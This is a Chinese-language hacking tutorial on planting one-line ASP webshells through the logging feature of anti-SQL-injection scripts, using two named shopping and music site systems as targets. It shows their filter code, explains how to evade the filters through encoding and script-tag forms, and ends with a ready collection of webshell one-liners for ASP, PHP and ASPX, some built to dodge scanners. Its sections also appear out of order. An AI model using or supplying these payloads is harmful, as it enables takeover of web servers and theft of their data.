一句话木马后门在防注入中的重生

所属分类: 网络安全 / 脚本攻防 阅读数: 232
收藏 0 赞 0 分享

对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方,大家知道,一句话马就是利用程序过滤的不完全而写入的,按照这思路,我们是否可以在提交非法参数中加入一句话马而防注入程序就会记录我们提交的数据和一句话马并写入数据库,从而得到一个WEBSHELL呢?呵呵,答案是肯定的,但对于要写入的一句话马如何绕过过滤的程序,却是个难题,常见的一句话马格式为”<%execute request(“a”)%>,而<%%>就很难绕过HTML的过滤, 但我们可以通过不同的方法来绕过,下面我分别以二个系统来讲解:

打开”http://127.0.0.1/2005/sia-log.asp,出现了”类型不匹配:’execute’,显示内部错误的IE选项显示好友错误钩掉就可以了。我们再用一句话客户端来接连上传后成功得到一个WEBSHELL。

例二:再谈谈” 快乐视听音乐网 V4.0版本”系统的利用和分析:

系统加强防sql注入, 取消Asp页面, 对不友好的IP或IP段进行封锁。自动封注入者Ip功能,使注入者不能再访问本站!可后台管理、显示系统界面。当在参数后提交非法数据时,系统自动记录你的IP地址,提交的非法参数和动作等,然后系统屏蔽了你的IP地址,
让你再无法访问网站。我们先看下防注入sql.asp文件中的部分代码,读过防注入代码的人一眼就能看出来这个文件是个修改版的。

 

<%
‘——–说明——————
‘SQL防注入加强版
‘——–数据库连接部分————–
dim dbkillSql,killSqlconn,connkillSql
dbkillSql="data/#sql.asp"
‘On Error Resume Next
Set killSqlconn = Server.CreateObject("ADODB.Connection")
connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)
killSqlconn.Open connkillSql
If Err Then
       err.Clear
       Set killSqlconn = Nothing
      Response.Write "数据库连接出错,请检查连接字串。"
       Response.End
End If
‘——–定义部份——————
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql
‘自定义需要过滤的字串,用 "|" 分隔
Fy_In = "’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
Kill_IP=True
WriteSql=True              以下略过
在sql.asp文件中,对下面出现在”|”分隔中的字符进行了拦截:
Fy_In = "’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

也就说明了只有提交这些出现在”|”分隔的被过滤的字符串,才会被防注入系统写入数据库中而且是被写入到data目录中的#sql.asp文件中,其后缀为.asp的,刚好可以被我们利用,

同样的道理,当你提交"<%execute request(chr(97))%>时,%被过滤了

我们把一句话小马加密成"<%25execute request(chr(97))%25>"还是被过滤了,因为%还是存在我们把一句话改成"<script runat=server language=vbscript>eval request(chr(97))</script>这样整句中就没有出现“%“,提交后则成功完整的被写入

用一句话客户端连接并提交成功得到WEBSHELL。如果连接出错,换个一句话连接工具laker2的不错。

总结:

以上只是对这二个系统出现的漏洞一个方面的分析和利用,当然这类系统也存在着其它方面的漏洞如cookie的注入

例一西亚购物系统的利用和分析:

“西亚购物系统做了全面性安全处理, ‘数据库防下载处理/CONN防止暴库处理/防止跨站脚本攻击/SQL注入式攻击防范/禁止脱机浏览工具/前台登陆验证码/后台登陆验证码/

‘会员密码MD5加密/管理员密码MD5加密/数据来源安全性监测/sql注入代码过滤/HTML代码过滤及防护/管理员登陆日至记录/攻击记录及恶意IP屏蔽/非法操作代码日至记录/吧安全网 “

当我们在参数提交非法参数时,弹出防注入的页面
    大家看到这时我们已转到”http://127.0.0.1/2005/Error.asp?allquery=id=381’的这个页面上了我们来看conn.asp文件中部分防注入的代码,代码太长就贴点关键,百度老说老子文章长

if InStr(allquery,"%20")<>0 or InStr(allquery,"%27")<>0 or InStr(allquery,"’")<>0 or InStr(allquery,"%a1a1")<>0 or InStr(allquery,"%24")<>0 or InStr(allquery,"$")<>0 or InStr(allquery,"%3b")<>0 or InStr(allquery,";")<>0 or InStr(allquery,":")<>0 or InStr(allquery,"%%")<>0 or InStr(allquery,"%3c")<>0 or InStr(allquery,"<")<>0 or InStr(allquery,">")<>0 or InStr(allquery,"–")<>0 or InStr(allquery,"sp_")<>0 or InStr(allquery,"xp_")<>0 or InStr(allquery,"exec")<>0 or InStr(allquery,"/")<>0 or InStr(allquery,"delete")<>0 or InStr(allquery,"dir")<>0 or InStr(allquery,"exe")<>0 or InStr(allquery,"select")<>0 or InStr(allquery,"Update")<>0 or InStr(allquery,"cmd")<>0 or InStr(allquery,"*")<>0 or InStr(allquery,"^")<>0 or InStr(allquery,"(")<>0 or InStr(allquery,")")<>0 or InStr(allquery,"+")<>0 or InStr(allquery,"copy")<>0 or InStr(allquery,"format")<>0 then%>

    对提交的非法数据中包含以上被搜索到的字符串的话,就自动跳转到”Error.asp的页面去,而在”Error.asp文件中有以下部分代码:

 

toppath = Server.Mappath("sia-log.asp")
Set fs = CreateObject("scripting.filesystemobject")
If Not Fs.FILEEXISTS(toppath) Then
Set Ts = fs.createtextfile(toppath, True)
.
.

Set Ts= Fs.OpenTextFile(toppath,1)
Do While Not Ts.AtEndOfStream
Errorlog = Errorlog & Ts.ReadLine & chr(13) & chr(10)

当你提交非法数据时,程序就会获得你的IP,并创建一个FSO对象,再利用FSO对象自动创建sia_log.asp文件,并将非法提交的字符写入文件中

打开” http://127.0.0.1/2005/sia-log.aspp页面,则看到文件记录了我们刚才提交的数据,如图:

这说明我们刚才的提交的非法参数已写入了这个文件中,

3:那么,我们在这个页面的参数后插入一句话如何
却没有弹出相应的对话框,说明没有写入到sia-log.as这个文件中,我们把地址换成” http://127.0.0.1/2005/Error.asp?allquery=id=381”再来试试,如图

提交后弹出我们希望看到的页面。

可我们再打开”sia-log.asp”文件却看到小马被过滤了成<execute request(“a”)> %号和"都过滤了。从这儿,我们知道%被过滤掉了而小写a旁双引号被转换了,大家自己比较下,好了,知道这点,我们就可以重新构造我们的小马了。其实绕过这个还是很简单的。因为一句话写法很多。

备份专用

<%eval(request("a")):response.end%>

asp一句话
<%execute(request("1"))%>

php一句话

<?php eval($_POST[1]);?>

aspx一句话

<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>

可以躲过雷客图的一句话。

<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

不用'<,>’的asp一句话

<script language=VBScript runat=server>execute request("1")</script>

不用双引号的一句话。

<%eval request(chr(35))%>

这里我就用工具捣鼓一下,打开”注入字符转换器”这款工具,把”<%” ,“execute 和request之间的空格及”(“a”)%>”相应的进行转换,这样原一句话马就被加密成” %3C%25execute+request%28%22%61%22%29%25%3E” 或转换成<%25execute request(chr(97))%25>,分别提交后,我们打开sia-log.asp文件后,可以清楚看到,二次提交的一句马都成功的被写入到sia_log.asp文件中了,

更多精彩内容其他人还在看

aspcms企业建站系统0day漏洞介绍

aspcms企业建站系统0day 2.0以上通杀2011-08-14 19:21aspcms开发的全新内核的开源企业建站系统,能够胜任企业多种建站需求,并且支持模版自定义、支持扩展插件等等,能够在短时间内完成企业建站。
收藏 0 赞 0 分享

MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)

感谢各位的测试 , 下次再也不发垃圾脚本了,之前那个大家转走的都修正下吧 ,问题太多了. (几乎都没测试过)下面这个是我重新修改下的.
收藏 0 赞 0 分享

[PHP是世界上最好的语言] 不信你看这款PHP写的敲诈者木马

有个笑话:女的说,你们能让论坛上的人吵起来,我就做你女朋友。男的发了一句话:PHP是世界上最好的语言。瞬间论坛就炸锅了,女的说好吧,我同意了,咱们去吃饭吧。男的:不!我一定要说服他们PHP必须是世界上最好的语言。今天揭秘一个“最好的语言”编写的木马
收藏 0 赞 0 分享

前端安全之XSS攻击

这篇文章主要为大家介绍了基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击,需要的朋友可以参考下
收藏 0 赞 0 分享

记 FineUI 官方论坛discuz所遭受的一次真实网络攻击

这篇文章主要介绍了记 FineUI 官方论坛discuz所遭受的一次真实网络攻击,需要的朋友可以参考下
收藏 0 赞 0 分享

PHP类型网站的万能密码

说实话如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上是百分之百。
收藏 0 赞 0 分享

phpcms SQL注入漏洞 adsclass.php 页面过滤不严

PHPCMS adsclass.php页面过滤不严导致SQL注入漏洞,使用phpcms的朋友请注意更新了。
收藏 0 赞 0 分享

PHPCMS 信息泄露以及任意删除文件漏洞

在图片剪切那里,先读取cookie中信息,然后直接删除文件,造成删除任意文件漏洞
收藏 0 赞 0 分享

IPC$ Password Crack BAT

有时候在肉鸡下面想整个其他的肉鸡,用SOCK5反向代理,麻烦又慢,有N多线程的IPC$密码破解工具
收藏 0 赞 0 分享

使用参数化查询防止SQL注入漏洞

SQL注入漏洞曾经是Web应用程序的噩梦,CMS、BBS、Blog无一不曾受其害。
收藏 0 赞 0 分享
查看更多